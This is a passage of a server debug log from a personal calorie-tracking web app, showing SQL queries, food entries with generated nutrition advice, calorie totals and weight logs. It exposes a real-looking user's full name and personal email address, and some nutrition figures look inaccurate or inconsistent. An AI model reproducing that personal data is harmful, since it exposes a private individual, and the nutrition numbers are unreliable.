2025-12-19T16:43:36.325Z server-connect:app Executing action step single
2025-12-19T16:43:36.325Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T16:43:36.326Z server-connect:output restrict: undefined
2025-12-19T16:43:36.326Z server-connect:app Executing action step select
2025-12-19T16:43:36.326Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T16:43:36.327Z server-connect:app Executing action step identify
2025-12-19T16:43:36.327Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:36.328Z server-connect:output identity: 1
2025-12-19T16:43:36.328Z server-connect:app Executing action step restrict
2025-12-19T16:43:36.328Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:43:36.329Z server-connect:output restrict: undefined
2025-12-19T16:43:36.329Z server-connect:app Executing action step single
2025-12-19T16:43:36.329Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T16:43:36.330Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a decent protein intake, particularly from the whey supplement, which supports muscle development. However, the meal composition leans heavily on carbohydrates from roti and sabzi, with limited variety in vegetables and healthy fats. Meal timing appears somewhat spread out, and recovery support could be enhanced with more diverse nutrient sources.",
    bad_points: [
      'Carbohydrate sources are dominant in the main meal.',
      'Limited variety in vegetables and fiber intake.',
      'Fat sources are primarily from cooking oil and nuts, could be more diverse.',
      'The jaggery nuts patti adds a significant amount of sugar.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle development.',
      'Consistent early morning gym sessions.',
      'Use of unsweetened milk tea is a positive choice.'
    ],
    suggestions: [
      'Incorporate a larger portion of vegetables in the main meal.',
      'Consider adding lean protein sources to meals beyond the supplement.',
      'Increase intake of fruits or other fibrous foods.',
      'Hydrate adequately throughout the day.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T16:43:36.330Z server-connect:output restrict: undefined
2025-12-19T16:43:36.330Z server-connect:app Executing action step single
2025-12-19T16:43:36.330Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T16:43:36.331Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T16:43:36.332Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T16:43:36.332Z server-connect:app Executing action step select
2025-12-19T16:43:36.332Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T16:43:36.333Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T16:43:36.334Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 451,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-19T01:01:13.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
  },
  {
    id: 452,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 453,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Paneer Bhurji (less oil),Mixed Vegetable Sabzi (more greens, less potato),Mushroom Matar',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are high in carbs and can be replaced with more protein-rich or lower-carb vegetables for muscle development goals.'
  },
  {
    id: 454,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '100ml',
    replacements: 'Black tea,Green tea,Herbal tea,Water',
    created_at: '2025-12-19T04:49:29.000Z',
    skip_level: 1,
    skip_reason: 'Relatively low in calories and can be a good source of hydration. If using full-fat milk, switching to skim or low-fat milk can further reduce calories and fat.'
  },
  {
    id: 455,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Jaggery Nuts Patti',
    calories: 90,
    protein_gm: 2,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 small piece (approx 20g, assuming a small piece is about 20g)',
    replacements: 'Plain roasted nuts (almonds, walnuts),A small piece of fruit (apple, orange),Sugar-free nut bars',
    created_at: '2025-12-19T04:51:09.000Z',
    skip_level: 2,
    skip_reason: "While nuts provide healthy fats and protein, jaggery adds significant sugar. For muscle development, focusing on protein and complex carbs is better. This is an 'ok' snack but not ideal for maximizing muscle gain due to the added sugar."
  },
  {
    id: 456,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Salted Hot Peanuts',
    calories: 285,
    protein_gm: 13,
    carbs_gm: 9,
    fat_gm: 24,
    quantity: '50 gm',
    replacements: 'Plain roasted peanuts (unsalted),Boiled peanuts,Edamame,Air-popped popcorn (plain)',
    created_at: '2025-12-19T04:56:35.000Z',
    skip_level: 2,
    skip_reason: 'While peanuts offer protein and healthy fats, salted hot peanuts can be high in sodium and often contain added oils/spices that increase calorie density. For muscle development, a less processed, unsalted version would be preferable, or consider other protein sources with less fat if calorie intake is a concern.'
  },
  {
    id: 457,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Chicken Tandoori',
    calories: 750,
    protein_gm: 150,
    carbs_gm: 0,
    fat_gm: 15,
    quantity: '5 medium pieces (approx 500g, assuming 100g per piece)',
    replacements: 'Grilled chicken breast (skinless),Tandoori fish,Tandoori paneer (if vegetarian)',
    created_at: '2025-12-19T11:13:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of lean protein for muscle development.'
  },
  {
    id: 458,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Egg Omelette',
    calories: 154,
    protein_gm: 13,
    carbs_gm: 1,
    fat_gm: 11,
    quantity: '2 eggs (approx 100g)',
    replacements: 'Egg whites omelette,Boiled eggs',
    created_at: '2025-12-19T11:13:35.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and healthy fats. Consider using less oil or cooking spray.'
  },
  {
    id: 459,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Budweiser Non-Alcoholic',
    calories: 60,
    protein_gm: 0,
    carbs_gm: 15,
    fat_gm: 0,
    quantity: '1 can (approx 330ml)',
    replacements: 'Water,Sparkling water with lemon/lime,Unsweetened iced tea',
    created_at: '2025-12-19T11:13:35.000Z',
    skip_level: 2,
    skip_reason: 'While low in calories, it offers minimal nutritional value for muscle development. Hydration is key, and water is a better choice.'
  }
]
2025-12-19T16:43:36.335Z server-connect:app Executing action step setvalue
2025-12-19T16:43:36.335Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T16:43:36.335Z server-connect:output var_total: 2115
2025-12-19T16:43:36.335Z server-connect:app Executing action step setvalue
2025-12-19T16:43:36.335Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T16:43:36.335Z server-connect:output var_consumed: 88
2025-12-19T16:43:36.335Z server-connect:app Executing action step setvalue
2025-12-19T16:43:36.335Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T16:43:36.335Z server-connect:output var_deficit: 285
2025-12-19T16:43:36.335Z server-connect:app Executing action step custom
2025-12-19T16:43:36.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T16:43:36.336Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  }
]
2025-12-19T16:43:37.583Z server-connect:app Executing action step identify
2025-12-19T16:43:37.583Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:37.583Z server-connect:output identity: 1
2025-12-19T16:43:38.386Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-19T16:43:38.387Z server-connect:app Executing action step identify
2025-12-19T16:43:38.387Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:38.387Z server-connect:output identity: 1
2025-12-19T16:43:38.387Z server-connect:app Executing action step restrict
2025-12-19T16:43:38.387Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:43:38.387Z server-connect:output restrict: undefined
2025-12-19T16:43:38.387Z server-connect:app Executing action step select
2025-12-19T16:43:38.387Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-19T16:43:38.388Z server-connect:output items_consumed_today: [
  {
    id: 447,
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces'
  },
  {
    id: 448,
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 449,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml'
  },
  {
    id: 450,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 451,
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml'
  },
  {
    id: 452,
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5'
  },
  {
    id: 453,
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 454,
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '100ml'
  },
  {
    id: 455,
    item_name: 'Jaggery Nuts Patti',
    calories: 90,
    protein_gm: 2,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 small piece (approx 20g, assuming a small piece is about 20g)'
  },
  {
    id: 456,
    item_name: 'Salted Hot Peanuts',
    calories: 285,
    protein_gm: 13,
    carbs_gm: 9,
    fat_gm: 24,
    quantity: '50 gm'
  },
  {
    id: 457,
    item_name: 'Chicken Tandoori',
    calories: 750,
    protein_gm: 150,
    carbs_gm: 0,
    fat_gm: 15,
    quantity: '5 medium pieces (approx 500g, assuming 100g per piece)'
  },
  {
    id: 458,
    item_name: 'Egg Omelette',
    calories: 154,
    protein_gm: 13,
    carbs_gm: 1,
    fat_gm: 11,
    quantity: '2 eggs (approx 100g)'
  },
  {
    id: 459,
    item_name: 'Budweiser Non-Alcoholic',
    calories: 60,
    protein_gm: 0,
    carbs_gm: 15,
    fat_gm: 0,
    quantity: '1 can (approx 330ml)'
  }
]
2025-12-19T16:43:38.388Z server-connect:app Executing action step paged
2025-12-19T16:43:38.388Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-19T16:43:38.391Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 15,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-19T16:43:38.391Z server-connect:app Executing action step run
2025-12-19T16:43:38.391Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
